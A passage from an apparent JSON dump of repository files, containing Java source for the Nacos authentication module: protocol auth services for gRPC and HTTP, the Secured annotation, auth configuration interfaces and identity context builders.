    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth;\n\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentity;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentityChecker;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentityCheckerHolder;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentityResult;\nimport com.alibaba.nacos.auth.util.Loggers;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.AuthResult;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.Permission;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport com.alibaba.nacos.plugin.auth.exception.AccessException;\nimport com.alibaba.nacos.plugin.auth.spi.server.AuthPluginManager;\nimport com.alibaba.nacos.plugin.auth.spi.server.AuthPluginService;\n\nimport java.util.Optional;\nimport java.util.Properties;\n\n/**\n * Abstract protocol auth service.\n *\n * <p>Implement #validateIdentity and #validateAuthority method template.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractProtocolAuthService<R> implements ProtocolAuthService<R> {\n    \n    protected final NacosAuthConfig authConfig;\n    \n    protected final ServerIdentityChecker checker;\n    \n    protected AbstractProtocolAuthService(NacosAuthConfig authConfig) {\n        this.authConfig = authConfig;\n        this.checker = ServerIdentityCheckerHolder.getInstance().newChecker();\n    }\n    \n    @Override\n    public void initialize() {\n        this.checker.init(authConfig);\n    }\n    \n    @Override\n    public boolean enableAuth(Secured secured) {\n        Optional<AuthPluginService> authPluginService = AuthPluginManager.getInstance()\n                .findAuthServiceSpiImpl(authConfig.getNacosAuthSystemType());\n        if (authPluginService.isPresent()) {\n            return authPluginService.get().enableAuth(secured.action(), secured.signType());\n        }\n        Loggers.AUTH.warn(\"Can't find auth plugin for type {}, please add plugin to classpath or set {} as false\",\n                authConfig.getNacosAuthSystemType(), Constants.Auth.NACOS_CORE_AUTH_ENABLED);\n        return false;\n    }\n    \n    @Override\n    public AuthResult validateIdentity(IdentityContext identityContext, Resource resource) throws AccessException {\n        Optional<AuthPluginService> authPluginService = AuthPluginManager.getInstance()\n                .findAuthServiceSpiImpl(authConfig.getNacosAuthSystemType());\n        if (authPluginService.isPresent()) {\n            return authPluginService.get().validateIdentity(identityContext, resource);\n        }\n        return AuthResult.successResult();\n    }\n    \n    @Override\n    public AuthResult validateAuthority(IdentityContext identityContext, Permission permission) throws AccessException {\n        Optional<AuthPluginService> authPluginService = AuthPluginManager.getInstance()\n                .findAuthServiceSpiImpl(authConfig.getNacosAuthSystemType());\n        if (authPluginService.isPresent()) {\n            return authPluginService.get().validateAuthority(identityContext, permission);\n        }\n        return AuthResult.successResult();\n    }\n    \n    @Override\n    public ServerIdentityResult checkServerIdentity(R request, Secured secured) {\n        if (isInvalidServerIdentity()) {\n            return ServerIdentityResult.fail(\n                    \"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`\"\n                            + \" and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`\");\n        }\n        ServerIdentity serverIdentity = parseServerIdentity(request);\n        return checker.check(serverIdentity, secured);\n    }\n    \n    private boolean isInvalidServerIdentity() {\n        return StringUtils.isBlank(authConfig.getServerIdentityKey()) || StringUtils.isBlank(\n                authConfig.getServerIdentityValue());\n    }\n    \n    /**\n     * Parse server identity from protocol request.\n     *\n     * @param request protocol request\n     * @return nacos server identity.\n     */\n    protected abstract ServerIdentity parseServerIdentity(R request);\n    \n    /**\n     * Get resource from secured annotation specified resource.\n     *\n     * @param secured secured annotation\n     * @return resource\n     */\n    protected Resource parseSpecifiedResource(Secured secured) {\n        Properties properties = new Properties();\n        for (String each : secured.tags()) {\n            properties.put(each, each);\n        }\n        return new Resource(null, null, secured.resource(), SignType.SPECIFIED, properties);\n    }\n    \n    /**\n     * Parse resource by specified resource parser.\n     *\n     * @param secured secured annotation\n     * @param request request\n     * @return resource\n     */\n    protected Resource useSpecifiedParserToParse(Secured secured, R request) {\n        try {\n            return secured.parser().newInstance().parse(request, secured);\n        } catch (Exception e) {\n            Loggers.AUTH.error(\"Use specified resource parser {} parse resource failed.\",\n                    secured.parser().getCanonicalName(), e);\n            return Resource.EMPTY_RESOURCE;\n        }\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/GrpcProtocolAuthService.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth;\n\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.context.GrpcIdentityContextBuilder;\nimport com.alibaba.nacos.auth.parser.grpc.AbstractGrpcResourceParser;\nimport com.alibaba.nacos.auth.parser.grpc.AiGrpcResourceParser;\nimport com.alibaba.nacos.auth.parser.grpc.ConfigGrpcResourceParser;\nimport com.alibaba.nacos.auth.parser.grpc.NamingGrpcResourceParser;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentity;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentityResult;\nimport com.alibaba.nacos.auth.util.Loggers;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Auth Service for Grpc protocol.\n *\n * @author xiweng.yy\n */\npublic class GrpcProtocolAuthService extends AbstractProtocolAuthService<Request> {\n    \n    private final Map<String, AbstractGrpcResourceParser> resourceParserMap;\n    \n    private final GrpcIdentityContextBuilder identityContextBuilder;\n    \n    public GrpcProtocolAuthService(NacosAuthConfig authConfig) {\n        super(authConfig);\n        resourceParserMap = new HashMap<>(2);\n        identityContextBuilder = new GrpcIdentityContextBuilder(authConfig);\n    }\n    \n    @Override\n    public void initialize() {\n        super.initialize();\n        resourceParserMap.put(SignType.NAMING, new NamingGrpcResourceParser());\n        resourceParserMap.put(SignType.CONFIG, new ConfigGrpcResourceParser());\n        resourceParserMap.put(SignType.AI, new AiGrpcResourceParser());\n    }\n    \n    @Override\n    public Resource parseResource(Request request, Secured secured) {\n        if (StringUtils.isNotBlank(secured.resource())) {\n            return parseSpecifiedResource(secured);\n        }\n        String type = secured.signType();\n        AbstractGrpcResourceParser parser = resourceParserMap.get(type);\n        if (parser == null) {\n            Loggers.AUTH.warn(\"Can't find Grpc request resourceParser for type {}\", type);\n            return useSpecifiedParserToParse(secured, request);\n        }\n        return parser.parse(request, secured);\n    }\n    \n    @Override\n    public IdentityContext parseIdentity(Request request) {\n        return identityContextBuilder.build(request);\n    }\n    \n    @Override\n    public ServerIdentityResult checkServerIdentity(Request request, Secured secured) {\n        if (ApiType.INNER_API != secured.apiType()) {\n            return ServerIdentityResult.noMatched();\n        }\n        return super.checkServerIdentity(request, secured);\n    }\n    \n    @Override\n    protected ServerIdentity parseServerIdentity(Request request) {\n        String serverIdentityKey = authConfig.getServerIdentityKey();\n        String serverIdentity = request.getHeader(serverIdentityKey);\n        return new ServerIdentity(serverIdentityKey, serverIdentity);\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/HttpProtocolAuthService.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth;\n\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.context.HttpIdentityContextBuilder;\nimport com.alibaba.nacos.auth.parser.http.AbstractHttpResourceParser;\nimport com.alibaba.nacos.auth.parser.http.AiHttpResourceParser;\nimport com.alibaba.nacos.auth.parser.http.ConfigHttpResourceParser;\nimport com.alibaba.nacos.auth.parser.http.NamingHttpResourceParser;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentity;\nimport com.alibaba.nacos.auth.util.Loggers;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Auth Service for Http protocol.\n *\n * @author xiweng.yy\n */\npublic class HttpProtocolAuthService extends AbstractProtocolAuthService<HttpServletRequest> {\n    \n    private final Map<String, AbstractHttpResourceParser> resourceParserMap;\n    \n    private final HttpIdentityContextBuilder identityContextBuilder;\n    \n    public HttpProtocolAuthService(NacosAuthConfig authConfig) {\n        super(authConfig);\n        resourceParserMap = new HashMap<>(2);\n        identityContextBuilder = new HttpIdentityContextBuilder(authConfig);\n    }\n    \n    @Override\n    public void initialize() {\n        super.initialize();\n        resourceParserMap.put(SignType.NAMING, new NamingHttpResourceParser());\n        resourceParserMap.put(SignType.CONFIG, new ConfigHttpResourceParser());\n        resourceParserMap.put(SignType.AI, new AiHttpResourceParser());\n    }\n    \n    @Override\n    public Resource parseResource(HttpServletRequest request, Secured secured) {\n        if (StringUtils.isNotBlank(secured.resource())) {\n            return parseSpecifiedResource(secured);\n        }\n        String type = secured.signType();\n        if (!resourceParserMap.containsKey(type)) {\n            Loggers.AUTH.warn(\"Can't find Http request resourceParser for type {} use specified resource parser\", type);\n            return useSpecifiedParserToParse(secured, request);\n        }\n        return resourceParserMap.get(type).parse(request, secured);\n    }\n    \n    @Override\n    public IdentityContext parseIdentity(HttpServletRequest request) {\n        return identityContextBuilder.build(request);\n    }\n    \n    @Override\n    protected ServerIdentity parseServerIdentity(HttpServletRequest request) {\n        String serverIdentityKey = authConfig.getServerIdentityKey();\n        String serverIdentity = request.getHeader(serverIdentityKey);\n        return new ServerIdentity(serverIdentityKey, serverIdentity);\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/ProtocolAuthService.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth;\n\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentityResult;\nimport com.alibaba.nacos.plugin.auth.api.AuthResult;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.Permission;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport com.alibaba.nacos.plugin.auth.exception.AccessException;\n\n/**\n * Protocol auth service.\n *\n * @author xiweng.yy\n */\npublic interface ProtocolAuthService<R> {\n    \n    /**\n     * Init protocol auth service.\n     */\n    void initialize();\n    \n    /**\n     * Judgement whether enable auth feature according to secured information.\n     * <p>\n     *     configuration authEnabled in {@link NacosAuthConfig} is the main switch.\n     *     If authEnabled is {@code false}, this method and other follow methods should not be called.\n     *\n     *     This method is only for plugin to judge whether auth this {@link Secured}.\n     *     For example, plugins can only auth for write action or only for naming type request.\n     * </p>\n     *\n     * @param secured secured information\n     * @return {@code true} if enable auth, otherwise {@code false}\n     */\n    boolean enableAuth(Secured secured);\n    \n    /**\n     * Parse resource from protocol request and secured annotation.\n     *\n     * @param request protocol request\n     * @param secured api secured annotation\n     * @return resource\n     */\n    Resource parseResource(R request, Secured secured);\n    \n    /**\n     * Parse identity context from protocol request.\n     *\n     * @param request protocol request\n     * @return identity context\n     */\n    IdentityContext parseIdentity(R request);\n    \n    /**\n     * Validate identity whether is legal.\n     *\n     * @param identityContext identity context\n     * @param resource        resource\n     * @return {@link AuthResult} of validate result\n     * @throws AccessException exception during validating\n     */\n    AuthResult validateIdentity(IdentityContext identityContext, Resource resource) throws AccessException;\n    \n    /**\n     * Validate identity whether had permission for the resource and action.\n     *\n     * @param identityContext identity context\n     * @param permission      permission include resource and action\n     * @return {@link AuthResult} of validate result\n     * @throws AccessException exception during validating\n     */\n    AuthResult validateAuthority(IdentityContext identityContext, Permission permission) throws AccessException;\n    \n    /**\n     * check server identity.\n     *\n     * @param request protocol request\n     * @param secured secured api secured annotation\n     * @return server identity result\n     */\n    ServerIdentityResult checkServerIdentity(R request, Secured secured);\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/annotation/Secured.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.annotation;\n\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.auth.parser.DefaultResourceParser;\nimport com.alibaba.nacos.auth.parser.ResourceParser;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\n\n/**\n * Annotation indicating that the annotated request should be authorized.\n *\n * @author nkorange\n * @author mai.jh\n * @since 1.2.0\n */\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Secured {\n    \n    /**\n     * The action type of the request.\n     *\n     * @return action type, default READ\n     */\n    ActionTypes action() default ActionTypes.READ;\n    \n    /**\n     * The name of resource related to the request.\n     *\n     * @return resource name\n     */\n    String resource() default StringUtils.EMPTY;\n    \n    /**\n     * The module of resource related to the request.\n     *\n     * @return module name\n     */\n    String signType() default SignType.NAMING;\n    \n    /**\n     * Custom resource parser. Should have lower priority than resource() and typed parser.\n     *\n     * @return class type of resource parser\n     */\n    Class<? extends ResourceParser> parser() default DefaultResourceParser.class;\n    \n    /**\n     * Specified tags for this secured, these tags will be injected into {@link com.alibaba.nacos.plugin.auth.api.Resource}\n     * as the keys and values of properties.\n     *\n     * @return tags\n     */\n    String[] tags() default {};\n    \n    /**\n     * The type of API. Distinguishing between ADMIN_API and OPEN_API.\n     *\n     * @return the type of the API\n     */\n    ApiType apiType() default ApiType.OPEN_API;\n    \n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/config/AuthErrorCode.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.config;\n\n/**\n * Auth relative error codes, start with 5000X.\n *\n * @author xiweng.yy\n */\npublic enum AuthErrorCode {\n    \n    /**\n     * invalid auth type.\n     */\n    INVALID_TYPE(50001,\n            \"Invalid auth type, Please set `nacos.core.auth.system.type`, detail: https://nacos.io/docs/latest/manual/admin/auth/\"),\n    \n    EMPTY_IDENTITY(50002,\n            \"Empty identity, Please set `nacos.core.auth.server.identity.key` and `nacos.core.auth.server.identity.value`, detail: https://nacos.io/docs/latest/manual/admin/auth/\");\n    \n    private final Integer code;\n    \n    private final String msg;\n    \n    public Integer getCode() {\n        return code;\n    }\n    \n    public String getMsg() {\n        return msg;\n    }\n    \n    AuthErrorCode(Integer code, String msg) {\n        this.code = code;\n        this.msg = msg;\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/config/NacosAuthConfig.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.config;\n\n/**\n * Nacos Auth configurations.\n *\n * @author xiweng.yy\n */\npublic interface NacosAuthConfig {\n    \n    /**\n     * Get auth scope like 'server', 'server admin', 'console'.\n     *\n     * @return auth scope\n     */\n    String getAuthScope();\n    \n    /**\n     * Whether nacos server or console auth enabled.\n     *\n     * @return {@code true} means enabled, otherwise {@code false}\n     */\n    boolean isAuthEnabled();\n    \n    /**\n     * Get current auth plugin type.\n     *\n     * @return auth plugin type.\n     */\n    String getNacosAuthSystemType();\n    \n    /**\n     * Whether support server identity to identify request from other nacos servers.\n     *\n     * @return {@code true} means supported, otherwise {@code false}\n     */\n    boolean isSupportServerIdentity();\n    \n    /**\n     * Get server identity key.\n     *\n     * @return server identity key If {@link #isSupportServerIdentity()} return {@code true}, otherwise empty string.\n     */\n    String getServerIdentityKey();\n    \n    /**\n     * Get server identity value.\n     *\n     * @return server identity value If {@link #isSupportServerIdentity()} return {@code true}, otherwise empty string.\n     */\n    String getServerIdentityValue();\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/config/NacosAuthConfigHolder.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.config;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\n\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Nacos SPI Holder for {@link NacosAuthConfig}.\n *\n * @author xiweng.yy\n */\npublic class NacosAuthConfigHolder {\n    \n    private static final NacosAuthConfigHolder INSTANCE = new NacosAuthConfigHolder();\n    \n    private final Map<String, NacosAuthConfig> nacosAuthConfigMap;\n    \n    NacosAuthConfigHolder() {\n        this.nacosAuthConfigMap = new HashMap<>();\n        for (NacosAuthConfig each : NacosServiceLoader.load(NacosAuthConfig.class)) {\n            nacosAuthConfigMap.put(each.getAuthScope(), each);\n        }\n    }\n    \n    public static NacosAuthConfigHolder getInstance() {\n        return INSTANCE;\n    }\n    \n    public NacosAuthConfig getNacosAuthConfigByScope(String scope) {\n        return nacosAuthConfigMap.get(scope);\n    }\n    \n    public Collection<NacosAuthConfig> getAllNacosAuthConfig() {\n        return nacosAuthConfigMap.values();\n    }\n    \n    public boolean isAnyAuthEnabled() {\n        return nacosAuthConfigMap.values().stream().anyMatch(NacosAuthConfig::isAuthEnabled);\n    }\n    \n    /**\n     * Is any auth config by input scope is enabled.\n     *\n     * @param scope the scopes to check whether enabled\n     * @return {@code true} if any input scope auth is enabled, {@code false} all input scope auth is disabled.\n     */\n    public boolean isAnyAuthEnabled(String... scope) {\n        for (String each : scope) {\n            NacosAuthConfig config = nacosAuthConfigMap.get(each);\n            if (null != config && config.isAuthEnabled()) {\n                return true;\n            }\n        }\n        return false;\n    }\n    \n    /**\n     * Get nacos auth system type from the first {@link NacosAuthConfig}.\n     *\n     * <p>\n     *     It should be same with for all {@link NacosAuthConfig}s in one nacos server.\n     * </p>\n     * @return nacos auth system type\n     */\n    public String getNacosAuthSystemType() {\n        return nacosAuthConfigMap.values().stream().findFirst().map(NacosAuthConfig::getNacosAuthSystemType)\n                .orElse(null);\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/context/GrpcIdentityContextBuilder.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.context;\n\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\nimport com.alibaba.nacos.plugin.auth.spi.server.AuthPluginManager;\nimport com.alibaba.nacos.plugin.auth.spi.server.AuthPluginService;\n\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.Set;\n\n/**\n * Identity context builder for Grpc.\n *\n * @author Nacos\n */\npublic class GrpcIdentityContextBuilder implements IdentityContextBuilder<Request> {\n    \n    private final NacosAuthConfig authConfig;\n    \n    public GrpcIdentityContextBuilder(NacosAuthConfig authConfig) {\n        this.authConfig = authConfig;\n    }\n    \n    /**\n     * get identity context from grpc.\n     *\n     * @param request grpc request\n     * @return IdentityContext request context\n     */\n    \n    @Override\n    public IdentityContext build(Request request) {\n        Optional<AuthPluginService> authPluginService = AuthPluginManager.getInstance()\n                .findAuthServiceSpiImpl(authConfig.getNacosAuthSystemType());\n        IdentityContext result = new IdentityContext();\n        getRemoteIp(request, result);\n        if (!authPluginService.isPresent()) {\n            return result;\n        }\n        Set<String> identityNames = new HashSet<>(authPluginService.get().identityNames());\n        Map<String, String> map = request.getHeaders();\n        for (Map.Entry<String, String> entry : map.entrySet()) {\n            if (identityNames.contains(entry.getKey())) {\n                result.setParameter(entry.getKey(), entry.getValue());\n            }\n        }\n        return result;\n    }\n    \n    private void getRemoteIp(Request request, IdentityContext result) {\n        result.setParameter(Constants.Identity.REMOTE_IP, request.getHeader(Constants.Identity.X_REAL_IP));\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/context/HttpIdentityContextBuilder.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.context;\n\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\nimport com.alibaba.nacos.plugin.auth.spi.server.AuthPluginManager;\nimport com.alibaba.nacos.plugin.auth.spi.server.AuthPluginService;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.util.Enumeration;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.TreeMap;\n\n/**\n * Identity context builder for HTTP.\n *\n * @author Nacos\n */\npublic class HttpIdentityContextBuilder implements IdentityContextBuilder<HttpServletRequest> {\n    \n    private static final String X_FORWARDED_FOR = \"X-Forwarded-For\";\n    \n    private static final String X_FORWARDED_FOR_SPLIT_SYMBOL = \",\";\n    \n    private final NacosAuthConfig authConfig;\n    \n    public HttpIdentityContextBuilder(NacosAuthConfig authConfig) {\n        this.authConfig = authConfig;\n    }\n    \n    /**\n     * get identity context from http.\n     *\n     * @param request user request\n     * @return IdentityContext from request context\n     */\n    @Override\n    public IdentityContext build(HttpServletRequest request) {\n        IdentityContext result = new IdentityContext();\n        getRemoteIp(request, result);\n        Optional<AuthPluginService> authPluginService = AuthPluginManager.getInstance()\n                .findAuthServiceSpiImpl(authConfig.getNacosAuthSystemType());\n        if (!authPluginService.isPresent()) {\n            return result;\n        }\n        // According to RFC2616, HTTP header and URI is case-insensitive, so use tree map with CASE_INSENSITIVE_ORDER\n        // to match the identity key and save the real key in map value.\n        Map<String, String> identityNames = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);\n        for (String each : authPluginService.get().identityNames()) {\n            identityNames.put(each, each);\n        }\n        getIdentityFromHeader(request, result, identityNames);\n        getIdentityFromParameter(request, result, identityNames);\n        return result;\n    }\n    \n    private void getIdentityFromHeader(HttpServletRequest request, IdentityContext result,\n            Map<String, String> identityNames) {\n        Enumeration<String> headerEnu = request.getHeaderNames();\n        while (headerEnu.hasMoreElements()) {\n            String paraName = headerEnu.nextElement();\n            if (identityNames.containsKey(paraName)) {\n                result.setParameter(identityNames.get(paraName), request.getHeader(paraName));\n            }\n        }\n    }\n    \n    private void getIdentityFromParameter(HttpServletRequest request, IdentityContext result,\n            Map<String, String> identityNames) {\n        Enumeration<String> paramEnu = request.getParameterNames();\n        while (paramEnu.hasMoreElements()) {\n            String paraName = paramEnu.nextElement();\n            if (identityNames.containsKey(paraName)) {\n                result.setParameter(identityNames.get(paraName), request.getParameter(paraName));\n            }\n        }\n    }\n    \n    private void getRemoteIp(HttpServletRequest request, IdentityContext result) {\n        String remoteIp = StringUtils.EMPTY;\n        String xForwardedFor = request.getHeader(X_FORWARDED_FOR);\n        if (!StringUtils.isBlank(xForwardedFor)) {\n            remoteIp = xForwardedFor.split(X_FORWARDED_FOR_SPLIT_SYMBOL)[0].trim();\n        }\n        if (StringUtils.isBlank(remoteIp)) {\n            String nginxHeader = request.getHeader(Constants.Identity.X_REAL_IP);\n            remoteIp = StringUtils.isBlank(nginxHeader) ? request.getRemoteAddr() : nginxHeader;\n        }\n        result.setParameter(Constants.Identity.REMOTE_IP, remoteIp);\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/context/IdentityContextBuilder.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.context;\n\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\n\n/**\n * Identify context.\n *\n * @author wuyfee\n */\npublic interface IdentityContextBuilder<T> {\n    \n    /**\n     * build identity context from request.\n     * @param request user request\n     * @return IdentityContext from request context\n     */\n    IdentityContext build(T request);\n    \n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/AbstractResourceParser.java",
